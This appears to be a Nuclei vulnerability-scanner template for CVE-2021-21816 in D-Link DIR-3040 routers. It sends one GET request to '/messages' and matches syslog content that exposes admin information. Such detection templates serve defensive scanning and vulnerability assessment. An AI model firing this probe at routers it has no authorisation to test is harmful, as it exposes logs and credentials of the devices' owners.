id: CVE-2021-21816

info:
  name: D-Link DIR-3040 1.13B03 - Information Disclosure
  author: gy741
  severity: medium
  description: D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21816
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2021-21816
    cwe-id: CWE-922
    epss-score: 0.00237
  tags: cve,cve2021,dlink,exposure,router,syslog
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/messages"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "syslog:"
          - "admin"
          - "/etc_ro/lighttpd/www"
        part: body
        condition: and

      - type: status
        status:
          - 200

# Enhanced by md on 2023/02/01